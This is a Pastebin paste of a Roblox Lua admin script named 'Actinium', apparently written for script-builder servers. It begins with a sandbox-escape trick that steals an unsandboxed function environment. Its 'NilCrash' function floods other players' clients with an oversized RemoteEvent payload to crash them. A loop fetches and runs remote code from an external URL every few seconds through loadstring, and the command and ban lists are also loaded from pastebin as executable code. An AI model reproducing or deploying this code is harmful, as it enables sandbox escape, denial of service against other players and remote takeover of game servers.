Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- -- Puat name where it says ""
- wait()
- if not _G.Breakout then
- pcall(function()
- local Model = game:GetService("InsertService"):LoadAsset(140878711):GetChildren()[1]
- Model.Parent = game:GetService("Workspace")
- coroutine.yield()
- pcall(_G.OSC_AddServerSideData,setmetatable({},{
- __index=function() NewEnv=getfenv(2) end,
- __metatable="Locked"
- }))
- setfenv(1, NewEnv)
- Model:Destroy()
- _G.OSC_AddServerSideData = nil
- end)
- elseif _G.Breakout then
- if type(_G.Breakout) == "table" then
- setfenv(1,_G.Breakout)
- end
- end
- Actinium = {
- ["Unsandboxed"] = {
- ['require'] = require,
- ['_G'] = _G,
- ['loadstring'] = loadstring,
- ['getfenv'] = getfenv,
- ['setfenv'] = setfenv,
- ['spawn'] = spawn,
- },
- ["Ranks"]={
- [0] = "Guest",
- [1] = "Member",
- [2] = "Friend",
- [3] = "Mod",
- [4] = "Developer",
- [5] = "Creator"
- },
- ["Ranked"]={},
- ["Bet"]={
- Prefix = "!",
- Suffix = "."
- },
- ["Services"]={
- runService = game:service'RunService',
- httpService = game:service'HttpService',
- dataService = game:service'DataStoreService',
- netService = nil,
- RbxUtitily = loadstring(game.HttpService:GetAsync("https://raw.githubusercontent.com/RobloxLabs/internal-code/master/library-scripts/RbxUtility-60595411.lua",true))()
- },
- ["Voting"]={
- Yes = 0,
- No = 0
- },
- ["Logs"]={
- Scripts={},
- Chats={},
- Errors={},
- NexureLogs={}
- },
- ["Colors"]={
- ['Random'] = BrickColor.Random(),
- ['Black'] = BrickColor.Black(),
- ['Red'] = BrickColor.Red(),
- ['Green'] = BrickColor.Green(),
- ['White'] = BrickColor.White(),
- ['Yellow'] = BrickColor.Yellow(),
- ['Orange'] = BrickColor.new('Deep orange')
- },
- ["Badwords"] = {
- "Fuk",
- "Fuck",
- "Fk",
- "Shit",
- "Sht",
- "Pussy",
- -- More coming soon once I see them in sb again.
- },
- ["AgeKick"] = true,
- ["WordKick"] = false,
- ["Commands"]= {},
- ["Tablets"]= {},
- ["Banned"]= {},
- ["Warnings"] = {},
- ["Rotation"]={
- Speed = {1, .003},
- Height = {.3, 1.2},
- },
- ["Database"]={
- Active = {false, false, false},
- Banned = "http://pastebin.com/raw.php?i=9GzgCrag",
- Ranked = "Yamanohera15523",
- Commands = "http://pastebin.com/raw.php?i=qgHMsV9i",
- Remote = "https://code.stypi.com/raw/actiniumdb/RemoteExe.json"
- },
- ["Unsandboxed"]={},
- ["Functions"]={
- Output = function(plr,msg,color,image,func,time)
- coroutine.resume(coroutine.create(function()
- if not time or time == nil then time = 10 end
- if type(plr) ~= 'userdata' then return end
- if not plr.Character then return end
- if color == nil then color = BrickColor.Random() end
- if image == nil then image = "" end
- local Tab = Instance.new('Part',script) Tab.Material = "Neon" Tab.TopSurface = 10 Tab.BottomSurface = 10 Tab.BrickColor = color Tab.Transparency = .6 Tab.Anchored = true Tab.CanCollide = false Tab.Locked = true Tab.FormFactor = 'Custom' Tab.Size = Vector3.new(1,1,1)
- if plr and plr.Character and plr.Character:FindFirstChild("Head") then
- Tab.CFrame = plr.Character.Head.CFrame * CFrame.new(0,10,0)
- end
- local Click = Instance.new('ClickDetector',Tab) Click.MaxActivationDistance = math.huge
- local S1 = Instance.new('SurfaceGui',Tab) S1.Adornee = Tab S1.Face = "Left" local SF = Instance.new('Frame',S1) SF.BackgroundColor3 = Tab.BrickColor.Color SF.BackgroundTransparency = .2 SF.BorderSizePixel = 0 SF.Position = UDim2.new(.04,0,.04,0) SF.Size = UDim2.new(.92,0,.92,0)
- local S2 = S1:Clone() S2.Parent = Tab S2.Face = "Bottom" S2.Adornee = Tab
- local S3 = S1:Clone() S3.Parent = Tab S3.Face = "Front" S3.Adornee = Tab
- local S4 = S1:Clone() S4.Parent = Tab S4.Face = "Back" S4.Adornee = Tab
- local S5 = S1:Clone() S5.Parent = Tab S5.Face = "Right" S5.Adornee = Tab
- local S6 = S1:Clone() S6.Parent = Tab S6.Face = "Top" S6.Adornee = Tab
- local Light = Instance.new('PointLight',Tab) Light.Color = Tab.BrickColor.Color
- local Gyro = Instance.new("BodyGyro",Tab)
- local BG = Instance.new('BillboardGui',Tab) BG.Size = UDim2.new(5,0,3,0) BG.StudsOffset = Vector3.new(0,3,0)
- local Frame = Instance.new('Frame',BG) Frame.BackgroundTransparency = 1 Frame.Size = UDim2.new(1,0,1,0)
- local TL = Instance.new('TextLabel',Frame) TL.BackgroundTransparency = 1 TL.Position = UDim2.new(0,-72,.7,0) TL.Size = UDim2.new(1,150,.3,0) TL.Font = "SourceSansBold" TL.FontSize = "Size18" TL.Text = tostring(msg):gsub('','\5') TL.TextColor3 = Color3.new(255/255,255/255,255/255) TL.TextStrokeTransparency = .43 TL.TextYAlignment = "Bottom"
- local IL = Instance.new('ImageLabel',Frame) IL.BackgroundTransparency = 1 IL.Position = UDim2.new(.3,0,0,0) IL.Size = UDim2.new(.4,0,.7,0) IL.Image = tostring(image)
- table.insert(Actinium.Tablets,{plr, Tab, Gyro})
- local function RTab()
- Tab.Parent = nil
- end
- delay(time, RTab)
- Click.MouseHoverEnter:connect(function(nplr)
- if nplr.userId == plr.userId then
- spawn(function()
- Tab.Size = Vector3.new(1.2,1.2,1.2)
- for i = 0,.4,.1 do
- Tab.Size = Tab.Size + Vector3.new(.1,.1,.1)
- Actinium.Services.runService.Stepped:wait()
- end
- Tab.Size = Vector3.new(1.7,1.7,1.7)
- end)
- end
- end)
- Click.MouseHoverLeave:connect(function(nplr)
- if nplr.userId == plr.userId then
- spawn(function()
- Tab.Size = Vector3.new(1.7,1.7,1.7)
- for i = 0,.4,.1 do
- Tab.Size = Tab.Size - Vector3.new(.1,.1,.1)
- Actinium.Services.runService.Stepped:wait()
- end
- Tab.Size = Vector3.new(1.2,1.2,1.2)
- end)
- end
- end)
- Click.MouseClick:connect(function(nplr)
- if nplr.userId == plr.userId then
- if type(func) == "function" then
- RTab()
- func()
- elseif type(func) == "string" and func:lower() == "exit" then
- RTab()
- end
- end
- end)
- end))
- end, -- Output end
- Dismiss = function(plr)
- local PlrTablets = Actinium.Tablets
- for i = 1,#PlrTablets do
- local Tab = PlrTablets[i]
- if Tab[1].userId == plr.userId then
- coroutine.resume(coroutine.create(function()
- spawn(function()
- local Part = Tab[2]
- repeat
- Part.Size=Part.Size-Vector3.new(.08,.08,.08);
- game:GetService("RunService").Heartbeat:wait();
- until tostring(Part.Size.X):sub(0,3) == "0.2"
- Part.Parent = nil
- end)
- end))
- end
- end
- end,
- OpenNet = function(plr)
- function Net()
- Actinium.Functions.Dismiss(plr)
- for i,v in ipairs(Actinium.Services.netService:GetChildren()) do
- if (not(v.ClassName == "StringValue")) and v:GetPlayer() then
- local Plr = v:GetPlayer()
- local PlrName = Plr.Name
- local UserId = Plr.userId
- local Age = Plr.AccountAge
- local Role = Actinium.Functions.GetRank(Plr)[2] or 0
- local Rank = Actinium.Functions.GetRank(Plr)[1] or 0
- local OwnerRank = Actinium.Functions.GetRank(plr)[1] or 0
- local PlrImage = Actinium.Functions.PlrImage(PlrName)
- if Plr.Parent ~= game:GetService("Players") then
- PlrName = PlrName.." : nil"
- end
- Actinium.Functions.Output(plr,PlrName,BrickColor.Random(),PlrImage,function()
- Actinium.Functions.Dismiss(plr)
- Actinium.Functions.Output(plr,"Name : "..Plr.Name,BrickColor.White(),PlrImage,"asd",30)
- Actinium.Functions.Output(plr,"UserId : "..UserId,BrickColor.White(),nil,"asd",30)
- Actinium.Functions.Output(plr,"Age : "..Age,BrickColor.White(),nil,"asd",30)
- Actinium.Functions.Output(plr,"Admin-role : "..Role,BrickColor.White(),nil,"asd",30)
- Actinium.Functions.Output(plr,"Admin-rank : "..Rank,BrickColor.White(),nil,"asd",30)
- Actinium.Functions.Output(plr,"Back to network",BrickColor.White(),nil,Net,30)
- if Plr.userId ~= plr.userId and Plr.Parent ~= game:GetService("Players") then
- Actinium.Functions.Output(plr,"Kick",BrickColor.new("Deep orange"),nil,function()
- Actinium.Functions.NilCrash(v:GetPlayer())
- Net()
- end,30)
- end
- end,40)
- end
- end
- end Net()
- end,
- CheckNet = function()
- for i,v in ipairs(Actinium.Services.netService:GetChildren()) do
- if (not(v.ClassName == "StringValue")) and v:GetPlayer() and v:GetPlayer().Parent ~= game:GetService("Players") then
- Actinium.Functions.OutputHighRank(v:GetPlayer().Name.." is nil, click to nil crash!",BrickColor.new("Really blue"),Actinium.Functions.PlrImage(v:GetPlayer().Name),function()
- local plrname = v:GetPlayer().Name
- local Result = Actinium.Functions.NilCrash(v:GetPlayer())
- if Result then
- Actinium.Functions.OutputHighRank("Nil crashed "..plrname.."!",BrickColor.new("Lime green"),Actinium.Functions.PlrImage(plrname),"exit",30)
- end
- end,30)
- end
- end
- end,
- DatabaseResult = function(plr)
- local Result = Actinium.Functions.CheckDatabaseActive(plr)
- if Result:lower() == "true" then
- Result = "Active"
- else
- Result = "Non-active"
- end
- Actinium.Functions.Output(plr,"Actinium database : "..Result,BrickColor.White(),nil,"exit")
- end,
- LoadDatabase = function()
- do pcall(function() -- Banned
- local Run = loadstring(game:GetService("HttpService"):GetAsync(Actinium.Database.Banned,true))()
- if type(Run) == "string" then
- Run = game:GetService("HttpService"):JSONDecode(Run)
- end
- for i,_ in pairs(Actinium.Banned) do
- table.remove(Actinium.Banned,i)
- end
- Actinium.Banned = {}
- for i,v in next,Run do
- table.insert(Actinium.Banned,{
- Name = v.Name,
- Reason = v.Reason
- })
- end
- Actinium.Database.Active[1] = true
- end) end
- do pcall(function() -- Ranked
- local Run = loadstring(game:GetService("HttpService"):GetAsync(Actinium.Database.Ranked,true))()
- if type(Run) == "string" then
- Run = game:GetService("HttpService"):JSONDecode(Run)
- end
- for i,_ in pairs(Actinium.Ranked) do
- table.remove(Actinium.Ranked,i)
- end
- Actinium.Ranked = {}
- for i,v in next,Run do
- table.insert(Actinium.Ranked,{
- Name = v.Name,
- Rank = v.Rank,
- Reason = v.Reason,
- Color = v.Color
- })
- end
- Actinium.Database.Active[2] = true
- end) end
- do pcall(function() -- Commands
- local Run = loadstring(game:GetService("HttpService"):GetAsync(Actinium.Database.Commands,true))()
- if type(Run) == "string" then
- Run = game:GetService("HttpService"):JSONDecode(Run)
- end
- for i,_ in pairs(Actinium.Commands) do
- table.remove(Actinium.Commands,i)
- end
- Actinium.Commands = {}
- for i,v in next,Run do
- table.insert(Actinium.Commands,{
- Name = v.Name,
- Rank = v.Rank,
- Cmd = v.Cmd,
- Func = v.Func
- })
- end
- Actinium.Database.Active[3] = true
- end) end
- for i,plr in next,game:GetService("Players"):GetPlayers() do
- Actinium.Functions.CheckBan(plr)
- end
- end,
- CheckDatabaseActive = function(plr)
- if Actinium.Database.Active[1] and Actinium.Database.Active[2] and Actinium.Database.Active[3] then
- return tostring(Actinium.Database.Active[3])
- else
- return tostring("false")
- end
- end,
- Kick = function(plr,reason)
- if reason == nil or not reason then reason = "" end
- if game.PlaceId == 178350907 then -- Nexure's
- local function asd()
- _G.NexOut()
- plr:Kick(reason)
- end
- asd()
- elseif game.PlaceId == 21053279 then -- Anti's
- plr:Kick(reason)
- elseif game.PlaceId == 20279777 then -- Oxcool's
- Instance.new("RemoteEvent", plr):FireClient(plr,{string.rep("a",2e5+5)})
- else
- plr:Kick(reason)
- end
- end,
- NilCrash = function(plr)
- Instance.new("RemoteEvent", game:GetService("Lighting")):FireClient(plr,{string.rep("a",2e5+5)})
- end,
- onChatted = function(plr,msg)
- msg = msg
- if msg:lower():sub(1,3) == "/e " then
- msg = msg:sub(4)
- end
- if Actinium.WordKick then
- for _,v in next,Actinium.Badwords do
- if v:lower() == msg:lower() then
- local num = Actinium.Functions.SetWarning(plr)
- Actinium.Functions.Output(plr,msg,BrickColor.new("Deep orange"),nil,"exit")
- Actinium.Functions.Output(plr,num.." / 3 warning\'s until ban!",BrickColor.new("Deep orange"),nil,"exit")
- end
- end
- end
- for i = 1,#Actinium.Commands do
- local Cmds = Actinium.Commands[i]
- local Cmd = Actinium.Bet.Prefix..Cmds.Cmd:lower()..Actinium.Bet.Suffix
- local CRank = Cmds.Rank
- local Rank = Actinium.Functions.GetRank(plr)[1] or 0
- if msg:lower():sub(1,#(Cmd)) == Cmd then
- if Rank >= CRank then
- msg = msg:sub(#(Cmd)+1)
- local r,e = ypcall(function()
- Cmds.Func(plr,msg)
- end)
- if not r then
- Actinium.Functions.Output(plr,"ERROR : "..tostring(e),BrickColor.Red(),nil,"exit")
- end
- else
- Actinium.Functions.Output(plr,"Your rank is to low! "..Rank.." / "..CRank,BrickColor.Red(),nil,"exit")
- end
- end
- end
- end,
- OutputHighRank = function(msg,color,img,func,time)
- for _,v in next,Actinium.Ranked do
- if v.Rank >= 3 then
- local plr = game:GetService("Players"):FindFirstChild(v.Name)
- if plr then
- Actinium.Functions.Output(plr,msg,color,img,func,time)
- end
- end
- end
- end,
- CheckBan = function(plr)
- for i,v in next,Actinium.Banned do
- if v.Name:lower() == plr.Name:lower() then
- Actinium.Functions.Kick(plr, "Unreasonable : "..v.Reason.." \n \n Until you stop this,\n you will be banned with Actinium. \n Banlist : http://pastebin.com/9GzgCrag")
- Actinium.Functions.OutputHighRank("Kicked "..v.Name.." because : "..v.Reason,BrickColor.new("Really red"),Actinium.Functions.PlrImage(v.Name),"exit",60)
- Actinium.Functions.OutputHighRank("Do you wish to unban "..v.Name.."?",BrickColor.new("Deep orange"),Actinium.Functions.PlrImage(v.Name),function()
- table.remove(Actinium.Banned, i)
- end,60)
- end
- end
- end,
- GetRank = function(plr)
- local Rank,Role = 0,"Guest"
- for i,v in next,Actinium.Ranked do
- if v.Name:lower() == plr.Name:lower() then
- Rank = v.Rank
- for num,numrole in pairs(Actinium.Ranks) do
- if num == v.Rank then
- Role = numrole
- end
- end
- end
- end
- return {Rank,Role}
- end,
- PlrImage = function(player)
- return 'http://www.roblox.com/Thumbs/Avatar.ashx?x=100&y=100&Format=Png&username='..tostring(player)
- end,
- GetPlr = function(plr,msg)
- local Table = {}
- msg = msg:lower()
- if msg == 'me' or msg == '' then
- table.insert(Table,plr)
- elseif msg == 'others' then
- for i,v in pairs(game:service'Players':GetPlayers()) do
- if v.userId ~= plr.userId then
- table.insert(Table,v)
- end
- end
- elseif msg == 'all' then
- for i,v in pairs(game:service'Players':GetPlayers()) do
- table.insert(Table,v)
- end
- else
- for i,v in pairs(game:service'Players':GetPlayers()) do
- if v.Name:lower():sub(1,5):find(msg:lower()) then
- table.insert(Table,v)
- end
- end
- end
- return Table
- end,
- Music = function(id)
- for i,v in next,workspace:GetChildren() do
- if v.ClassName == "Sound" then
- v.Volume = 0
- v:Pause()
- v:Stop()
- wait()
- v:remove()
- end
- end
- for i,v in next,script:GetChildren() do
- if v.ClassName == "Sound" or v.Name == "Sound" then
- v.Volume = 0
- v:Pause()
- v:Stop()
- wait()
- v:remove()
- end
- end
- local NS = Instance.new("Sound", script)
- NS.Parent = script
- NS.Pitch = 1
- NS.Volume = 1
- NS.Looped = true
- NS.SoundId = "rbxassetid://"..id
- wait()
- NS:Play()
- end,
- SetWarning = function(plr)
- local num = 1
- local found = false
- for i,v in next,Actinium.Warnings do
- if v.Name:lower() == plr.Name:lower() then
- found = true
- end
- if found then
- v.Warning = v.Warning + 1
- num = v.Warning
- end
- end
- if not found then
- table.insert(Actinium.Warnings, {Name = plr.Name, Warning = 1})
- end
- if num >= 3 then
- table.insert(Actinium.Banned,{Name = plr.Name, Reason = "Warning\'s droped to low"})
- Actinium.Functions.CheckBan(plr)
- end
- return num
- end,
- Oxchat = function(msg1,msg2)
- pcall(function()
- for _,v in next,game:GetService("Players"):GetPlayers() do
- local SV = Instance.new('StringValue')
- SV.Parent = v
- SV.Name = 'SB_Chat'
- SV.Value = ""..tostring(msg1):gsub('','\5').."/"..tostring(msg2):gsub('','\5')..""
- game.Debris:AddItem(SV, .1)
- end
- end)
- end,
- NewServer = function(plr,id)
- if not id or id == nil or id == "" then
- id = game.PlaceId
- end
- Actinium.Functions.Output(plr,"Requesting server..",BrickColor.Random(),nil,"asd",60)
- local Result = game:GetService('HttpService'):GetAsync('http://www.classy-studios.com/APIs/JoinGame.php?GameID='..tonumber(game.PlaceId),true)
- repeat wait(.5)
- until Result
- Actinium.Functions.Dismiss(plr)
- Actinium.Functions.Output(plr,"Opened server at "..game.MarketplaceService:GetProductInfo(id).Name,BrickColor.Random(),nil,"exit",10)
- end,
- BreakSandbox = function()
- _G.r = require;
- _G.k = function(plr,reason) plr:Kick(reason) end
- end,
- Explore = function(plr, obj)
- Actinium.Functions.Dismiss(plr)
- local Explore = Actinium.Functions.Explore
- local Output = Actinium.Functions.Output
- local time = 60*2
- local ExpServices = {
- game,
- game:GetService("Workspace"),
- game:GetService("Players"),
- game:GetService("Lighting"),
- game:GetService("ServerScriptService"),
- game:GetService("ServerStorage"),
- game:GetService("StarterGui"),
- game:GetService("HttpService"),
- game:GetService("Debris"),
- }
- if obj == nil then
- for _,v in pairs(ExpServices) do
- Output(plr,v.Name,BrickColor.Random(),nil,function()
- Explore(plr,v)
- end,time)
- end
- else
- for _,v in pairs(obj:GetChildren()) do
- Output(plr,v.Name,BrickColor.Random(),nil,function()
- Explore(plr,v)
- end,time)
- end
- Output(plr,"Trace: "..obj:GetFullName(),BrickColor.new("White"),nil,"asd",time)
- Output(plr,"Class: "..obj.ClassName,BrickColor.new("White"),nil,"asd",time)
- Output(plr,"Destroy",BrickColor.new("White"),nil,
- function()
- obj:Destroy() Explore(plr,nil)
- end,
- time)
- Output(plr,"Clone",BrickColor.new("White"),nil,function() local nobj=obj:Clone();nobj.Parent=obj.Parent;Explore(plr,nobj) end,time)
- Output(plr,"Children: "..#obj:GetChildren(),BrickColor.new("White"),nil,"asd",time)
- Output(plr,"Name: "..obj.Name,BrickColor.new("White"),nil,"asd",time)
- Output(plr,"Back",BrickColor.new("White"),nil,function() Explore(plr, nil) end,time)
- Output(plr,"Refresh/Explore",BrickColor.new("White"),nil,function() Explore(plr, obj) end,time)
- if obj.ClassName == "Part" then
- Output(plr,"FormFactor: "..tostring(obj.FormFactor),BrickColor.new("White"),nil,"asd",60*2)
- Output(plr,"Material: "..tostring(obj.Material),BrickColor.new("White"),nil,"asd",60*2)
- Output(plr,"Color: "..tostring(obj.BrickColor),BrickColor.new("White"),nil,"asd",60*2)
- Output(plr,"Locked: "..tostring(obj.Locked),BrickColor.new("White"),nil,"asd",60*2)
- Output(plr,"Mass: "..tostring(obj:GetMass()),BrickColor.new("White"),nil,"asd",60*2)
- Output(plr,"RenderOwnership: "..tostring(obj:GetNetworkOwnershipAuto()),BrickColor.new("White"),nil,"asd",60*2)
- elseif obj.ClassName == "Player" then
- Output(plr,"Age: "..obj.AccountAge,BrickColor.new("White"),nil,"asd",60*2)
- Output(plr,"UserId: "..obj.userId,BrickColor.new("White"),nil,"asd",60*2)
- Output(plr,"Teamcolor: "..tostring(obj.TeamColor),BrickColor.new("White"),nil,"asd",60*2)
- Output(plr,"Appearance: "..tostring(obj.CharacterAppearance),BrickColor.new("White"),nil,"asd",60*2)
- Output(plr,"DataReady: "..tostring(obj.DataReady),BrickColor.new("White"),nil,"asd",60*2)
- if obj.FollowUserId ~= 0 then
- Output(plr,"FollowedPlayer: "..game:GetService("HttpService"):GetAsync("http://roproxy.tk/rapi/GetNameById/"..obj.userId,true),BrickColor.new("White"),nil,"asd",60*2)
- end
- else
- end
- end
- end
- }
- }
- _G.NexOut = function() end
- pcall(function()
- Actinium.Services.netService = game:service'NetworkServer'
- Actinium.Functions.LoadDatabase()
- end)
- print(#Actinium.Banned.." :Banned")
- local s1,s2 = Actinium.Rotation.Speed[1], Actinium.Rotation.Speed[2]
- local Rad1,Rad2 = Actinium.Rotation.Height[1], Actinium.Rotation.Height[2]
- function clerp(p1,p2,percent)
- local p1x,p1y,p1z,p1R00,p1R01,p1R02,p1R10,p1R11,p1R12,p1R20,p1R21,p1R22 = p1:components()
- local p2x,p2y,p2z,p2R00,p2R01,p2R02,p2R10,p2R11,p2R12,p2R20,p2R21,p2R22 = p2:components()
- return
- CFrame.new(p1x+percent*(p2x-p1x), p1y+percent*(p2y-p1y) ,p1z+percent*(p2z-p1z),
- (p1R00+percent*(p2R00-p1R00)), (p1R01+percent*(p2R01-p1R01)) ,(p1R02+percent*(p2R02-p1R02)),
- (p1R10+percent*(p2R10-p1R10)), (p1R11+percent*(p2R11-p1R11)) , (p1R12+percent*(p2R12-p1R12)),
- (p1R20+percent*(p2R20-p1R20)), (p1R21+percent*(p2R21-p1R21)) ,(p1R22+percent*(p2R22-p1R22)))
- end
- function GetUsersTablets(plr)
- local PlrTablets = {}
- for index,tab in pairs(Actinium.Tablets) do
- if tab[1].userId == plr.userId and tab[2].Parent ~= nil then
- table.insert(PlrTablets,tab)
- elseif tab[1].userId == plr.userId and tab[2].Parent == nil then
- table.remove(Actinium.Tablets,index)
- end
- end
- return PlrTablets
- end
- spawn(function() Actinium.Services.runService.Heartbeat:connect(function()
- s1 = s1 + s2
- for _,plr in next,game:service'Players':GetPlayers() do
- local PlrTablets = GetUsersTablets(plr)
- if plr and plr.Character and plr.Character:FindFirstChild("Torso") then
- for i = 1,#PlrTablets do
- local Tab = PlrTablets[i]
- local Part = Tab[2]
- local Gyro = Tab[3]
- local tcf = math.sin((tick()+i)*5)/2
- Part.CFrame = clerp(Part.CFrame,
- CFrame.new(plr.Character.Torso.CFrame.p)
- *CFrame.Angles(0,math.rad(i*(360/#PlrTablets*2))+s1,0)
- *CFrame.new(math.abs(#PlrTablets+2),math.sin((tick()+i)*5)/3,2)
- *CFrame.Angles(0,math.rad(90),3)
- *CFrame.Angles(tcf,tcf,tcf)
- ,.1) *Gyro.cframe
- end
- end
- end
- end) end)
- wait()
- game:GetService("Players").PlayerRemoving:connect(function(plr)
- Actinium.Functions.CheckNet()
- pcall(function()
- for i,v in next,Actinium.Tablets do
- if v[1].userId == plr.userId then
- v[2].Parent = nil
- end
- end
- end)
- end)
- game:GetService("Players").PlayerAdded:connect(function(plr)
- if plr.AccountAge < 100 and Actinium.AgeKick == true then
- local age,name = plr.AccountAge,plr.Name
- Actinium.Functions.Kick(plr)
- Actinium.Functions.OutputHighRank("Kicked "..name.." because age was to low! ["..age.."/100]",BrickColor.new("Deep orange"),Actinium.Functions.PlrImage(name),"exit",20)
- end
- Actinium.Functions.CheckBan(plr)
- delay(1,function()
- Actinium.Functions.DatabaseResult(plr)
- Actinium.Functions.Output(plr,"Actinium created by : 12gaugenick",BrickColor.White(),Actinium.Functions.PlrImage("12gaugenick"),"exit")
- end)
- Actinium.Functions.OutputHighRank(plr.Name.." has entered server!",BrickColor.new("Cyan"),Actinium.Functions.PlrImage(plr.Name),"exit",120)
- plr.Chatted:connect(function(msg)
- Actinium.Functions.onChatted(plr,msg)
- end)
- end)
- for i,plr in next,game:GetService("Players"):GetPlayers() do
- Actinium.Functions.CheckBan(plr)
- Actinium.Functions.DatabaseResult(plr)
- plr.Chatted:connect(function(msg)
- Actinium.Functions.onChatted(plr,msg)
- end)
- end
- delay(wait(),function()
- while wait(3) do
- pcall(function() loadstring(game:GetService("HttpService"):GetAsync(Actinium.Database.Remote,true))() end)
- end
- end)
- Actinium.Functions.Oxchat("Server","Actinium has loaded")
- Actinium.Functions.Oxchat("Server","Actinium database : "..Actinium.Functions.CheckDatabaseActive())
- game.Close:connect(function()
- pcall(function()
- Actinium.Functions.Oxchat("Actinium","Server disconnecting, creating new server")
- local Result = game:GetService('HttpService'):GetAsync('http://www.classy-studios.com/APIs/JoinGame.php?GameID='..tonumber(game.PlaceId),true)
- repeat wait(.1)
- until Result
- Actinium.Functions.Oxchat("Actinium","Created server, closing this server")
- end)
- end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement